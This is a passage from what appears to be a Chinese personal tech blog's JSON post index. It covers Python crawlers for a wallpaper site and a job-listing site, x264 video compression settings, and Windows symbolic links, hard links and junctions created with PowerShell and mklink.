page_num == 1: total = int(re.search(r\u0026#34;\u0026lt;h1 class=\u0026#39;center title\u0026#39;\u0026gt;\\s+?(\\d+)(.+?)\\s+?\u0026lt;/h1\u0026gt;\u0026#34;, r_page.text).group(1)) print(\u0026#34;the %s wallpaper\u0026#39;s total is %d\u0026#34; % (keyword, total)) for item in p_item.findall(r_page.text): wallpaper_id = item[0] wallpaper_type = item[1] server = item[2] user_id = item[3] get_download_link(wallpaper_id, wallpaper_type, server, user_id) # if there isn\u0026#39;t the next page\u0026#39;s link, it will exit the loop if nextpage_link.group(1) == \u0026#39;#\u0026#39;: print(\u0026#34;All wallpaper done!\u0026#34;) break page_num += 1 if __name__ == \u0026#39;__main__\u0026#39;: if len(sys.argv) \u0026lt; 2 or len(sys.argv) \u0026gt; 3: usage_text = \u0026#34;Usage:\\n\\tpython getwallpaper.py miku [miki_pic]\\nFirst param: the name of script\\nSecond param: the wallpaper\u0026#39;s keyword which you want to search\\nThird param: the dir\u0026#39;s name where you want to download in, optional, default in ./pic\u0026#34; print(usage_text) elif len(sys.argv) == 3: download_dir = str(sys.argv[2]) getwallpaper(str(sys.argv[1])) else: getwallpaper(str(sys.argv[1])) 多说的 里面我用了下本机的代理，懂的人自然懂，主要是因为直连下载确实有点慢。 另外自己懒，本来就是临时十多分钟写的一个脚本，就懒得加多线程了。\n自己发了个无声视频，也就是对我讲解中的演示，需要的可以看这里https://www.bilibili.com/video/av46184510/\n","permalink":"https://www.hacktech.cn/post/2019/03/wall-alphacoders-com-crawler/","summary":"\u003cp\u003e好久没写东西了，随便水一篇文，也是比较简单的东西\u003c/p\u003e\n\u003c!-- more --\u003e\n\u003cp\u003e可能每个喜欢二次元的人都有自己的老婆或者老公吧，之前在朋友那里看到了一个壁纸网站\u003ca href=\"https://wall.alphacoders.com\"\u003ewall.alphacoders.com\u003c/a\u003e，要是我想要亚丝娜的壁纸，只需要搜索她的英文名\u003ccode\u003eAsuna\u003c/code\u003e即可看到一千多张有关亚丝娜的壁纸。壁纸收集爱好者肯定就和我一样想把它们给下载到自己的电脑上幻灯片当作壁纸了，当然手工下载是不可能的，必须写下爬虫，分析下壁纸下载流程。\u003c/p\u003e\n\u003ch2 id=\"请求分析\"\u003e请求分析\u003c/h2\u003e\n\u003cp\u003e首先我们\u003ccode\u003eF12\u003c/code\u003e打开开发者工具，在一张图上找到下载\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"https://raw.githubusercontent.com/akkuman/pic/master/img/c0264382gy1g11dqnaw51j20ac077777.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e我们在开发者工具里面取元素，并没有看到下载链接，说明下载链接并没有包含在原始html中，但是点击是可以下载的，并且可以看到整个页面并没有进行刷新，判断是一个ajax请求，直接点进\u003ccode\u003eXHR\u003c/code\u003e，然后再次点击下载链接可以看到请求。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"https://raw.githubusercontent.com/akkuman/pic/master/img/c0264382gy1g11dw0idvpj212a0lwn62.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e可以看到这个请求返回了一个链接，我们直接访问链接，发现是可以下载的，说明这就是下载链接了，那么这个链接是怎么来的呢？\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"https://raw.githubusercontent.com/akkuman/pic/master/img/c0264382gy1g11dy25rizj20o30d5gme.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e我们看看请求，这个post请求里面有一些参数，我们先不去考虑这些参数怎么来的，我们先模拟一下请求看看请求Header里面有没有什么东西是必须的，这里直接上\u003ccode\u003epostman\u003c/code\u003e或者\u003ccode\u003ecurl\u003c/code\u003e都可以，如果你的机器上面安装了\u003ccode\u003ecurl\u003c/code\u003e我推荐用这个，因为\u003ccode\u003eChrome\u003c/code\u003e开发者工具，直接可以在请求上右键\u003ccode\u003eCopy as cURL\u003c/code\u003e，直接可以帮你复制出curl命令，我这里复制出来是这样的\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecurl \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;https://wall.alphacoders.com/get_download_link.php\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eH \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Pragma: no-cache\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eH \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Origin: https://wall.alphacoders.com\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eH \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Accept-Encoding: gzip, deflate, br\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eH \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Accept-Language: zh-CN,zh;q=0.9\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eH \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eH \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Content-Type: application/x-www-form-urlencoded; charset=UTF-8\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eH \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Accept: */*\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eH \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Cache-Control: no-cache\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eH \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;X-Requested-With: XMLHttpRequest\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eH \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Cookie: __cfduid=d7ec945393d1b5ef3c28d4c9d12ef9fb11552315444; cookieconsent_status=allow; wa_session=1eogv8ehgn3itq5g4g8hfsducpkm9lbu46q893vrkhph3ued4rm89gvk7ck4fdg9k73cmrcdesoqj4crm1575vj3lfid9e67fpis661\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eH \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Connection: keep-alive\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eH \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Referer: https://wall.alphacoders.com/search.php?search=Asuna\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003edata \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;wallpaper_id=533007^\u0026amp;type=png^\u0026amp;server=images8^\u0026amp;user_id=79150\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e--\u003c/span\u003ecompressed\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e我们先去掉不必要的东西 \u003ccode\u003ecurl \u0026quot;https://wall.alphacoders.com/get_download_link.php\u0026quot; --data \u0026quot;wallpaper_id=533007\u0026amp;type=png\u0026amp;server=images8\u0026amp;user_id=79150\u0026quot;\u003c/code\u003e ，直接执行，发现可以获取到地址，所以现在要考虑的只有这些参数是怎么来的了，下面我同样放一张postman的图，可以看到是同样的可以获取到下载链接\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"https://raw.githubusercontent.com/akkuman/pic/master/img/c0264382gy1g11e4cniksj20hq04lwek.jpg\"\u003e\n\u003cimg loading=\"lazy\" src=\"https://raw.githubusercontent.com/akkuman/pic/master/img/c0264382gy1g11e7mv54sj20tx0cvgm5.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e这些参数我们从两方面考虑，一是用js算出来的，一个就是在html中存在的。\u003c/p\u003e\n\u003cp\u003e我们首先在html里找找看有没有。\u003c/p\u003e\n\u003cp\u003e通过关键字搜索页面html，我们可以找到每一张图都有一串类似于下面的属性\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edata-id=\u0026#34;533007\u0026#34; data-type=\u0026#34;png\u0026#34; data-server=\u0026#34;images8\u0026#34; data-user-id=\u0026#34;79150\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e和上面的post参数是一一对应的。\u003c/p\u003e\n\u003cp\u003e所以爬取思路就出来了。\u003c/p\u003e","title":"打造一个壁纸爬虫来爬你的老婆"},{"content":"录制完了教程视频，如何压制会在不影响观看的情况下，使得到的视频体积较小呢？\n以下是使用x264进行压制，如果是使用小丸工具箱请自定义命令\n1 --crf 28 --level 4.1 --ref 3 --bframes 13 --keyint 600 --qcomp 0.8 --b-adapt 1 --scenecut 30 --me umh --merange 32 --subme 10 --trellis 2 --aq-mode 3 --aq-strength 1.0 --psy-rd 0.6:0.0 --direct auto --partitions all 音频建议压制为32Kbps或以下，教程不需要太好的音质。\n","permalink":"https://www.hacktech.cn/post/2018/11/how-to-compress-video-smaller-size/","summary":"\u003cp\u003e录制完了教程视频，如何压制会在不影响观看的情况下，使得到的视频体积较小呢？\u003c/p\u003e","title":"教程视频如何压制体积更小"},{"content":"学校嘛，有些时候还是得逆逆上网客户端啥的，并且学校的不少工作，这Windows的需求还是挺强的，之前Win10的体验并不是太好，不过时隔这么久，打算从7升级到10了，恰好系统也该换了。\n首先是命令行的关注，在家里使用了太久的marjaro，逐渐转为开发，以前对windows的命令行不关注也变为关注了，PowerShell安装了scoop，可以一键安装不少工具了，但是有一个痛点就是，以前对用户目录不关注，但是linux用久了反而觉得用户目录好用挖，我想在在命令行下切到我快捷方式指向的目录，但是是不行的，然后了解了一下这方面，就像是linux下的软链接硬链接一样。\n使用PowerShell 软链接 1 New-Item -ItemType SymbolicLink -Path C:\\\\image -Target C:\\\\source.txt 硬链接 1 New-Item -ItemType HardLink -Path C:\\\\image.txt -Target C:\\\\source.txt Junction windows中文件与文件夹是完全不同的两种类型，创建文件夹链接不可以使用 HardLink ，但是可以使用 Junction\n1 New-Item -ItemType Junction -Path C:\\\\test\\_image -Target C:\\\\test\\_source 虽然powershell可以建立，但是命令还是很繁琐，cmd下有个工具mklink\n使用CMD cmd下有个好用的工具mklink\n1 2 3 4 5 6 7 8 9 C:\\\\\u0026gt;mklink 创建符号链接。 MKLINK \\[\\[/D\\] | \\[/H\\] |\\[/J\\]\\] Link Target /D 创建目录符号链接。默认为文件符号链接。 /H 创建硬链接而非符号链接。 /J 创建目录链接。 Link 指定新的符号链接名称。 Target 指定新链接引用的路径（绝对或相对）。 软链接和硬链接的区别 其实这部分和linux中的是差不多的\n符号(软)链接（Symbolic link）\n执行命令 mklink link_name target_name 创建链接后的图标和快捷方式很像 在系统中不占用空间 在文件系统中不是一个单独的文件 在操作系统层解析（！？） 如果源文件被删除了，链接就没用了 移除源文件不会影响符号链接 移除链接文件也不会影响源文件 硬链接（Hard link）\n执行命令 mklink /H link_name target_name 在系统中占用的空间与源文件相同，但在系统中引用的是相同的对象（不是拷贝） 在操作系统层解析（！？） 图标和创建快捷方式的图标不同 移除源文件不会影响硬链接 移除硬链接不会影响源文件 如果源文件被删除，它的内容依然通过硬链接存在 硬链接文件的任何更改都会影响到源文件 快捷方式有何不同 首先不说快捷方式占空间， 软链接不占空间，还有我觉得很重要的区别是快捷方式带后缀.lnk，是个文件，无法通过路径重定向到目标地址，反正我不太推荐这个，除非是建立到桌面方便鼠标点击的用户。\n软链接和Junction的区别 可能你会疑惑 mklink 命令参数 /D 和 /J 的区别。这里我直接贴一段我查到的东西：\n创建 /d 可以使用相对路径方式创建 /j 必须绝对路径方式创建 此区别意义不大，建议所有的mklink目录均用绝对路径创建 复制和剪切 复制：/d /j 均生成源目录的内容副本，变为一般文件夹 剪切/移动：/d 生成的目录，移动到其他地方，仍旧保持链接。对源目录无影响，/d生成的目录消失 /j 生成的目录，移动到其他地方，会产生一个新的副本文件夹，源文件夹内容全部移至新普通文件夹内，源文件夹清空，源文件夹仍旧存在，/j生成的目录也依旧存在 软件打开 用filedialog打开，/d生成的目录，地址栏会跳到源目录位置。 /J生成的目录，地址栏不会跳到源目录位置。 用FolderDialog打开，两者相同。 整体来说，/D更像一个快捷方式。\n符号链接（Symlink，Softlink）是对文件或目录的引用，实际上符号链接本身是一个“记录着所引用文件或目录的绝对或相对路径”的特殊文件，通过符号链接的操作都会被重定向到目标文件或目录。\n交接点（Junction），也称为“再分析点”，是 NTFS 3.0 及以上文件系统（Windows 2000 及以上系统）的特性，它是链接本地目录（可跨卷）的访问点，通过交接点的操作都会被系统映射到实际的目录上。通过建立交接点，可以在保证一个目录实例（目录的一致性）的前提下，允许用户或程序从本地文件系统中的多个位置访问此目录。 对符号链接和快捷方式的“读、写、遍历”等操作都会被重定向到目标文件或目录；但对它们的“复制、删除、移动、配置 ACL”等操作只针对自身；符号链接不但可以应用于本地系统，还可以应用 UNC 路径。\n对交接点内文件和子目录的“建立、删除、修改”等操作都被映射到对应的目录中的文件和子目录上；\n对交接点的“复制、粘贴、剪切、配置 ACL”，只会影响此交接点；\n在同一卷内移动交接点，只会影响此交接点；但在不同卷间移动交接点，会将此交接点转换为正常目录，并且交接点对应目录下的所有内容都会被移动；\n通过“资源浏览器（Explorer.exe）”和“命令行 del”等工具删除交接点时，会同时删除对应目录下的所有内容（但不会删除目录）；可通过“linkd.exe /d”安全的删除交接点；但在 vista 及以后的系统中，对交接点的删除会被正确的处理。\n你可以自己建立这两个后，在同卷和在不同卷间复制移动粘贴看看区别，就暂时我了解到的来说的话，我个人建议是使用/D。\n","permalink":"https://www.hacktech.cn/post/2018/09/windows-file-dir-link/","summary":"\u003cp\u003e学校嘛，有些时候还是得逆逆上网客户端啥的，并且学校的不少工作，这Windows的需求还是挺强的，之前Win10的体验并不是太好，不过时隔这么久，打算从7升级到10了，恰好系统也该换了。\u003c/p\u003e\n\u003cp\u003e首先是命令行的关注，在家里使用了太久的marjaro，逐渐转为开发，以前对windows的命令行不关注也变为关注了，PowerShell安装了scoop，可以一键安装不少工具了，但是有一个痛点就是，以前对用户目录不关注，但是linux用久了反而觉得用户目录好用挖，我想在在命令行下切到我快捷方式指向的目录，但是是不行的，然后了解了一下这方面，就像是linux下的软链接硬链接一样。\u003c/p\u003e\n\u003c!-- more --\u003e\n\u003ch2 id=\"使用powershell\"\u003e使用PowerShell\u003c/h2\u003e\n\u003ch3 id=\"软链接\"\u003e软链接\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-powershell\" data-lang=\"powershell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eNew-Item -ItemType SymbolicLink -Path C:\\\\image -Target C:\\\\source.txt\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch3 id=\"硬链接\"\u003e硬链接\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-powershell\" data-lang=\"powershell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eNew-Item -ItemType HardLink -Path C:\\\\image.txt -Target C:\\\\source.txt\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch2 id=\"junction\"\u003eJunction\u003c/h2\u003e\n\u003cp\u003ewindows中文件与文件夹是完全不同的两种类型，创建文件夹链接不可以使用 \u003ccode\u003eHardLink\u003c/code\u003e ，但是可以使用 \u003ccode\u003eJunction\u003c/code\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-powershell\" data-lang=\"powershell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eNew-Item -ItemType Junction -Path C:\\\\test\\_image -Target C:\\\\test\\_source\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e虽然powershell可以建立，但是命令还是很繁琐，cmd下有个工具mklink\u003c/p\u003e\n\u003ch2 id=\"使用cmd\"\u003e使用CMD\u003c/h2\u003e\n\u003cp\u003ecmd下有个好用的工具mklink\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e6\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e7\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e8\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e9\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eC:\\\\\u0026gt;mklink\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e创建符号链接。\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMKLINK \\[\\[/D\\] | \\[/H\\] |\\[/J\\]\\] Link Target\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    /D 创建目录符号链接。默认为文件符号链接。\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    /H 创建硬链接而非符号链接。\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    /J 创建目录链接。\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Link 指定新的符号链接名称。\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Target 指定新链接引用的路径（绝对或相对）。\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch2 id=\"软链接和硬链接的区别\"\u003e软链接和硬链接的区别\u003c/h2\u003e\n\u003cp\u003e其实这部分和linux中的是差不多的\u003c/p\u003e","title":"windows中的软链接硬链接等"},{"content":"花了十来分钟写了个这个小爬虫，目的就是想能够方便一点寻找职位，并且大四了，没有工作和实习很慌啊！\n爬虫不具有扩展性，自己随手写的，改掉里面的 keyword 和 region 即可爬行所有的招聘，刚开始测试的是5s访问一次，不过还是会被ban，所以改成了20s一次，没有使用多线程和代理池，懒，够用就行了，结果会保存到一个csv文件里面，用excel打开即可。\n直接上代码：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import requests import urllib.parse import json import time import csv def main(): keyword = \u0026#39;逆向\u0026#39; region = \u0026#39;全国\u0026#39; headers = { \u0026#39;Accept\u0026#39;: \u0026#39;application/json, text/javascript, */*; q=0.01\u0026#39;, \u0026#39;Accept-Encoding\u0026#39;: \u0026#39;gzip, deflate, br\u0026#39;, \u0026#39;Accept-Language\u0026#39;: \u0026#39;zh-CN,zh;q=0.9\u0026#39;, \u0026#39;Cache-Control\u0026#39;: \u0026#39;no-cache\u0026#39;, \u0026#39;Connection\u0026#39;: \u0026#39;keep-alive\u0026#39;, \u0026#39;Content-Length\u0026#39;: \u0026#39;37\u0026#39;, \u0026#39;Content-Type\u0026#39;: \u0026#39;application/x-www-form-urlencoded; charset=UTF-8\u0026#39;, \u0026#39;Host\u0026#39;: \u0026#39;www.lagou.com\u0026#39;, \u0026#39;Origin\u0026#39;: \u0026#39;https://www.lagou.com\u0026#39;, \u0026#39;Pragma\u0026#39;: \u0026#39;no-cache\u0026#39;, \u0026#39;Referer\u0026#39;: \u0026#39;https://www.lagou.com/jobs/list_%s?city=%s\u0026#39; % (urllib.parse.quote(keyword), urllib.parse.quote(region)), \u0026#39;User-Agent\u0026#39;: \u0026#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36\u0026#39;, \u0026#39;X-Anit-Forge-Code\u0026#39;: \u0026#39;0\u0026#39;, \u0026#39;X-Anit-Forge-Token\u0026#39;: \u0026#39;None\u0026#39;, \u0026#39;X-Requested-With\u0026#39;: \u0026#39;XMLHttpRequest\u0026#39;, } data = { \u0026#39;pn\u0026#39;: 1, \u0026#39;kd\u0026#39;: keyword, } total_count = 1 pn = 1 jobjson = [] while 1: if total_count \u0026lt;= 0: break data[\u0026#39;pn\u0026#39;] = pn lagou_reverse_search = requests.post(\u0026#34;https://www.lagou.com/jobs/positionAjax.json?needAddtionalResult=false\u0026#34;, headers=headers, data=data) datajson = json.loads(lagou_reverse_search.text) print(\u0026#39;page %d get finish\u0026#39; % pn) if pn == 1: total_count = int(datajson[\u0026#39;content\u0026#39;][\u0026#39;positionResult\u0026#39;][\u0026#39;totalCount\u0026#39;]) jobjson += [{\u0026#39;positionName\u0026#39;: j[\u0026#39;positionName\u0026#39;], \u0026#39;salary\u0026#39;: j[\u0026#39;salary\u0026#39;], \u0026#39;workYear\u0026#39;: j[\u0026#39;workYear\u0026#39;], \u0026#39;education\u0026#39;: j[\u0026#39;education\u0026#39;], \u0026#39;city\u0026#39;: 